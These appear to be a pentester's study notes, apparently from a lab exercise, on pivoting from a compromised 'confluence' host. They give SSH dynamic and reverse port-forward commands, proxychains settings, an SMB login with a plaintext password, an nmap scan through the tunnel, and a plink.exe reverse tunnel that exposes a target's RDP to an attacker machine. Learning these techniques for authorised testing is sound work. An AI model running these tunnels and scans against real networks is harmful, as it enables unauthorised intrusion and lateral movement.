Vishal SSH Tunneling Note
Vishal SSH Tunneling Note
Steps:
1.connect to confluence spwan tty shell
2.ssh -N -D 0.0.0.0:9999 [email protected] [This comma
nd allows all all the local interfaces and ip connected of the host 10.4.5
0.215 ]
3.tail /etc/proxychains4.conf
4.# socks5 192.168.50.63 9999 [write this in the last of the proxychain
ss file]
5.This ensures that all the trafic goes through this port on this ip so wit
h this we can send our data directly to 10.4.50.215 which will help us to
scan the ip connected to 10.4.50.215
Untitled 1
6.But remember for it to work we have to give proxychains command b
efore the tools like smb or nmap
7.proxychains smbclient -L //172.16.50.217/ -U hr_admin --password=W
elcome1234
8.proxychains nmap -vvv -sT --top-ports=20 -Pn 172.16.50.217
ssh -N -R ip_to_forward_to_in_above_case_we_Forwarded_to_licalhost_
of_kali:2345:Which_ips_you_want_to_forward_like.which_are_connecte
d_to_confluencxe1:5432 kali@Your_kali_ip
Untitled 2
Remote dynamic port forwarding
tail /etc/proxychains4.conf
socks5 127.0.0.1 9998 {Try socks4 if socks5 dosent work}
SSHuttel
where ssh
ssh.exe -N -R 9999 [email protected]
Untitled 3
Download the plink.exe to target machine
C:\Windows\Temp\plink.exe -ssh -l kali -pw <YOUR PASSWORD HERE>
-R 127.0.0.1:9833:127.0.0.1:3389 192.168.118.4
Windows netsh
Untitled 4